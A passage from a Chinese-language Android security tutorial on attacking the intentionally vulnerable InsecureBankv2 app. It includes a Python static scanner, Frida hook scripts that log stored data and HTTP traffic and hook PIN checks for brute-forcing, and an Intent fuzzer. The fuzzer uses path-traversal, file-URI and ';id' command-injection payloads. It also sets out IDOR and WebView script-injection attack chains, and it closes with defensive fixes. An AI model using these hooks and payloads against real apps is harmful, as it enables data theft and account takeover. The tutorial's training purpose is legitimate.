5 “exportedtrue”找到导出的Activity后我们可以向其发送Intent。如果这个Activity在启动时会显示来自Intent Extra的数据如一条包含敏感信息的消息而我们又可以控制这个Intent那么就可能造成信息泄露。更进一步如果这个Activity在完成时将结果通过Intent返回给调用者而我们能拦截或伪造这个返回的Intent就可能进行钓鱼或数据篡改。4. 构建自动化漏洞利用工具链手动测试虽然深刻但效率低下且容易遗漏。作为一名安全研究员或渗透测试工程师我们需要将重复性的检测工作自动化。下面我将介绍如何针对上述漏洞类型构建几个核心的自动化利用工具。4.1 静态分析扫描器自动挖掘“硬伤”我们可以编写一个Python脚本利用apktool和grep或更强大的radare2、androguard库来自动化静态分析流程。工具设计思路解包APK使用apktool d target.apk -o output_dir命令将目标APK解包。扫描清单文件解析AndroidManifest.xml找出所有exported”true”且没有足够权限保护的组件。特别关注那些使用了intent-filter的Activity它们可能通过隐式Intent被触发。扫描源代码Smali/Java硬编码密钥使用正则表达式匹配常见的密钥模式如[A-Za-z0-9/]{30,}?Base64编码的密钥或[0-9a-f]{32,}MD5、SHA等哈希也可能是密钥。不安全的API调用搜索SharedPreferences的MODE_WORLD_READABLE/MODE_WORLD_WRITEABLE这些常量在高版本已废弃但可能遗留、WebView.setJavaScriptEnabled(true)、addJavascriptInterface、loadUrl从Intent获取参数等。SQLite数据库搜索execSQL、rawQuery检查其参数是否由用户输入拼接而成可能存在SQL注入。生成报告将发现的问题按风险等级高危、中危、低危分类并指出对应的文件位置和代码行号在Smali文件中。简易脚本示例框架import os import subprocess import xml.etree.ElementTree as ET import re def static_analyze(apk_path): # 1. 使用apktool解包 output_dir “./decompiled_apk” subprocess.run([“apktool”, “d”, apk_path, “-o”, output_dir], checkTrue) # 2. 分析AndroidManifest.xml manifest_path os.path.join(output_dir, “AndroidManifest.xml”) tree ET.parse(manifest_path) root tree.getroot() # ... 解析组件和权限 ... # 3. 递归扫描smali文件 findings [] for root_dir, dirs, files in os.walk(os.path.join(output_dir, “smali”)): for file in files: if file.endswith(“.smali”): filepath os.path.join(root_dir, file) with open(filepath, ‘r’, encoding‘utf-8’, errors‘ignore’) as f: content f.read() # 搜索硬编码密码模式 if re.search(r‘const-string.*[“\’]password[“\’].*[“\’][^“\’]{6,}[“\’]’, content, re.IGNORECASE): findings.append((“HIGH”, “Hardcoded Password”, filepath)) # 搜索MODE_WORLD_READABLE if “MODE_WORLD_READABLE” in content or “0x0001” in content: # 0x0001是MODE_WORLD_READABLE的值 findings.append((“HIGH”, “World-Readable SharedPreferences”, filepath)) # ... 更多规则 ... # 4. 输出报告 for severity, issue, location in findings: print(f“[{severity}] {issue} - {location}”) if __name__ “__main__”: static_analyze(“insecurebankv2.apk”)4.2 动态Hook与行为监控工具使用Frida脚本化静态分析找不到运行时才加载的密钥、无法跟踪复杂的逻辑流。这时就需要Frida出场。我们可以编写一系列Frida JavaScript脚本在应用运行时进行Hook。针对InsecureBankv2的实用Frida脚本示例监控所有SharedPreferences的读写Java.perform(function() { var SharedPreferencesImpl Java.use(“android.app.SharedPreferencesImpl”); var EditorImpl Java.use(“android.app.SharedPreferencesImpl$EditorImpl”); SharedPreferencesImpl.getString.implementation function(key, defValue) { var result this.getString(key, defValue); console.log(“[SharedPreferences READ] Key: “ key “ - Value: “ result); return result; }; EditorImpl.putString.implementation function(key, value) { console.log(“[SharedPreferences WRITE] Key: “ key “ - Value: “ value); return this.putString(key, value); }; });这个脚本能让你看到应用在何时读取或写入了什么数据到SharedPreferences对于追踪会话令牌的存储位置非常有效。Hook网络请求库以OkHttp3为例Java.perform(function() { var OkHttpClient Java.use(“okhttp3.OkHttpClient”); var RealCall Java.use(“okhttp3.RealCall”); RealCall.execute.implementation function() { var response this.execute(); var request response.request(); console.log(“[HTTP Request] “ request.method() “ “ request.url()); console.log(“[Headers] “ request.headers().toString()); var body request.body(); if (body ! null) { // 注意读取请求体可能需要处理buffer这里是一个简化示例 console.log(“[Request Body] (Potential)”); } console.log(“[Response Code] “ response.code()); console.log(“[Response Body] “ response.body().string()); // 注意response.body().string()只能调用一次实际脚本需克隆response return response; }; });这个脚本可以拦截通过OkHttp发起的网络请求和响应即使应用使用了证书绑定SSL Pinning我们也可以先用Frida绕过再使用此脚本监控。爆破PIN码如果存在 假设登录时需要输入一个4位数字PIN码我们可以Hook PIN码验证函数并尝试暴力破解。Java.perform(function() { var LoginClass Java.use(“com.android.insecurebankv2.LoginActivity”); var targetMethod LoginClass.verifyPin; // 假设的验证方法 targetMethod.implementation function(pin) { console.log(“[PIN Verification Called] Input PIN: “ pin); // 记录或尝试绕过 // 我们可以在这里直接返回true来绕过验证 // return true; // 或者我们尝试调用原函数并记录结果 var result this.verifyPin(pin); console.log(“Result: “ result); return result; }; // 自动爆破逻辑需在外部循环中调用 // send({“action”: “try_pin”, “pin”: “1234”}); });配合Python的Frida控制脚本我们可以从0000到9999遍历所有PIN码观察何时验证通过。工具化整合将常用的Frida脚本封装成一个命令行工具通过参数指定目标应用包名和要执行的脚本功能如–monitor-sp、–hook-http、–brute-pin可以极大提升动态测试效率。4.3 意图Intent模糊测试与组件攻击框架针对不安全的组件导出和Intent处理我们可以构建一个自动化的模糊测试框架。框架设计组件枚举使用aapt或androguard解析APK列出所有导出的Activity、Service、BroadcastReceiver。Intent构造器针对每个组件根据其intent-filter中声明的action、category、datamimeType, scheme, host, port, path等来构造合法的Intent。Payload生成向这些Intent的Extra中注入各种测试Payload数据泄露注入file:///data/data/com.android.insecurebankv2/shared_prefs/prefs.xml作为数据URI观察组件是否会加载并显示文件内容。路径遍历如果组件涉及文件操作注入../../../etc/hosts等路径。序列化对象尝试注入恶意的Parcelable或Serializable对象如果组件接收这类Extra测试反序列化漏洞。命令注入如果Extra数据最终被传递给Runtime.exec()或类似函数注入;id等命令分隔符。发送与监控通过ADB shell的am命令发送构造好的Intent同时使用logcat监控应用的崩溃、错误日志以及我们Hook脚本的输出以判断攻击是否成功。报告生成记录哪个组件、哪种Payload导致了异常行为如崩溃、数据泄露、敏感日志输出。这个框架的核心在于自动化地探索应用的所有对外接口并施加恶意输入。你可以使用Python的subprocess模块来调用ADB命令结合re模块解析logcat输出。对于复杂的Intent结构可能需要使用android.content.Intent的Java类通过Frida在设备内存中直接构建并发送这比拼接ADB命令字符串更灵活可靠。5. 渗透测试实战演练从信息收集到漏洞利用现在让我们将前面学到的知识和工具串联起来模拟一次对InsecureBankv2的完整渗透测试。这个过程遵循着经典的信息收集、威胁建模、漏洞分析、渗透利用、报告编写的流程。5.1 信息收集与侦察首先我们需要尽可能多地收集应用的信息。基础信息使用aapt dump badging target.apk获取包名、版本号、权限列表、主Activity等信息。组件分析运行我们的静态分析扫描器识别所有导出的组件。重点关注那些没有设置permission属性的导出组件。网络接口分析使用Burp Suite作为代理遍历应用的所有功能登录、注册、查看余额、转账、查看历史记录、修改资料、客服反馈等。记录下所有的API端点URL、请求方法GET/POST、参数、以及身份验证方式。绘制出应用的功能拓扑图和数据流图。文件系统侦察在应用运行期间使用ADB shell和run-as命令仔细查看应用私有目录下的所有文件。注意文件的修改时间在关键操作如登录前后对比文件变化。5.2 漏洞关联分析与攻击链构造收集到信息后开始寻找关联点构造攻击链。场景A从信息泄露到账户接管。静态扫描发现一个导出的ViewStatementActivity它接受一个accountNo参数来显示对账单。动态测试发现登录后的主界面MainActivity在显示欢迎信息时通过一个不安全的Intent将用户名传递给了ViewStatementActivity。我们使用Frida Hook住MainActivity中启动ViewStatementActivity的代码发现它传递的Intent Extra中包含当前登录用户的账号。我们编写一个简单的攻击应用或者直接使用ADB构造一个Intent启动ViewStatementActivity但将accountNo参数修改为其他用户的账号。如果成功看到其他用户的账单就构成了一个**不安全的直接对象引用IDOR**漏洞导致横向越权。场景B结合静态与动态分析的RCE。静态扫描发现HelpActivity中的WebView开启了JavaScript并且加载的URL来自Intent的url参数。动态分析Frida监控发现应用内部有一个“反馈”功能会将用户输入的内容包含一个URL通过Intent传递给HelpActivity进行预览。但是这个“反馈”功能对URL做了简单过滤不允许javascript:和file:协议。我们尝试使用data:协议或利用URL解析差异进行绕过。例如构造URL为data:text/html,scriptalert(document.domain)/script。如果成功执行JavaScript则证明存在客户端代码注入。进一步我们可以尝试通过JavaScript接口如果存在或利用file://协议结合路径遍历如果过滤不严来读取本地文件最终可能实现远程代码执行。5.3 利用工具进行自动化验证与利用在手动验证漏洞可行后使用我们构建的工具进行自动化利用。对于IDOR漏洞我们可以修改动态Hook脚本在监测到启动ViewStatementActivity时自动替换accountNo为指定的目标账号并截图或保存返回的数据实现自动化信息窃取。对于WebView RCE漏洞我们可以编写一个Frida脚本在HelpActivity创建时自动通过反射修改其WebView将要加载的URL指向我们控制的恶意服务器实现“一键”攻击。对于不安全的广播接收器我们可以编写一个Python脚本循环发送包含不同Action和Data的广播Intent并监控logcat和应用行为实现广播接收器的模糊测试。一个关键的实操心得自动化工具在验证已知漏洞模式时非常高效但它不能完全替代手动测试的创造性和深度。最好的工作流是先用自动化工具进行广覆盖的初步扫描发现“低垂的果实”然后对发现的高危点进行深入的手动分析和利用链构造。最后将成功的手动利用过程再反哺到自动化工具中增强其检测能力。6. 防御视角与安全开发建议通过攻击InsecureBankv2我们深刻理解了漏洞是如何产生的。现在让我们切换到防御者视角看看如何避免在自己的应用中引入类似问题。6.1 针对已发现漏洞的修复方案修复不安全的本地存储敏感信息绝不明文存储对于密码、令牌、PIN码等应使用Android Keystore System生成密钥然后加密存储。对于其他敏感数据至少使用AES等强加密算法加密密钥也不可硬编码。正确使用SharedPreferences使用MODE_PRIVATE。避免使用MODE_WORLD_READABLE/WRITEABLE它们已在API 17后废弃。数据库加密使用SQLCipher等库对SQLite数据库进行全库加密。设置文件权限检查应用创建的所有文件确保其权限为私有-rw-rw----。加固身份验证与会话管理清除硬编码凭证所有密钥、密码必须从代码中移除改为从安全的配置服务器动态获取或由运维人员在构建时注入。使用安全的令牌会话令牌应足够长、随机并绑定设备指纹、IP需谨慎影响用户体验等信息。服务端必须严格校验令牌的有效期和归属。实施权限检查任何涉及用户数据的操作服务端必须在执行前验证当前令牌是否有权操作目标数据即服务端必须做权限校验不能依赖客户端传递的参数。安全地使用WebView和Intent最小化JavaScript权限除非绝对必要否则不要启用JavaScript。如果必须启用严格审查通过addJavascriptInterface暴露给JavaScript的Java对象确保其不包含敏感方法。校验WebView加载的URL禁止加载file://协议和content://协议除非完全可控。对来自外部的URL进行严格的白名单校验。谨慎导出组件默认将组件的android:exported属性设置为false。仅当组件确实需要被其他应用调用时才导出并为其配置自定义权限permission并进行运行时校验。净化Intent输入对所有通过Intent传递进来的数据Extra、Data、Action等进行严格的类型、范围和合法性校验。6.2 将安全测试融入开发流程安全不是最后一步的测试而应贯穿整个软件开发生命周期SDLC。开发阶段为团队提供安全编码规范使用SonarQube、FindSecBugs等静态代码分析SAST工具集成到CI/CD流水线中在代码提交时自动扫描。测试阶段除了功能测试必须包含安全测试。使用像OWASP ZAP、MobSFMobile Security Framework这样的动态应用安全测试DAST工具进行自动化漏洞扫描。定期进行手动渗透测试特别是业务逻辑漏洞自动化工具很难发现。部署与运维阶段对应用进行加固如代码混淆ProGuard/R8、反调试检测、证书绑定等。使用运行时应用自保护RASP技术来监控和阻止运行时的攻击行为。构建像InsecureBankv2这样的“漏洞靶场”并为其开发渗透工具是一个“以攻促防”的绝佳学习路径。它强迫你从攻击者的角度思考从而更能理解防御措施的重要性。当你下次编写一个需要存储用户数据的Android应用时你会本能地问自己“这些数据如果被恶意应用读取了会怎样”“这个Intent的参数用户可控吗”。这种安全意识才是安全工程师最宝贵的财富。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
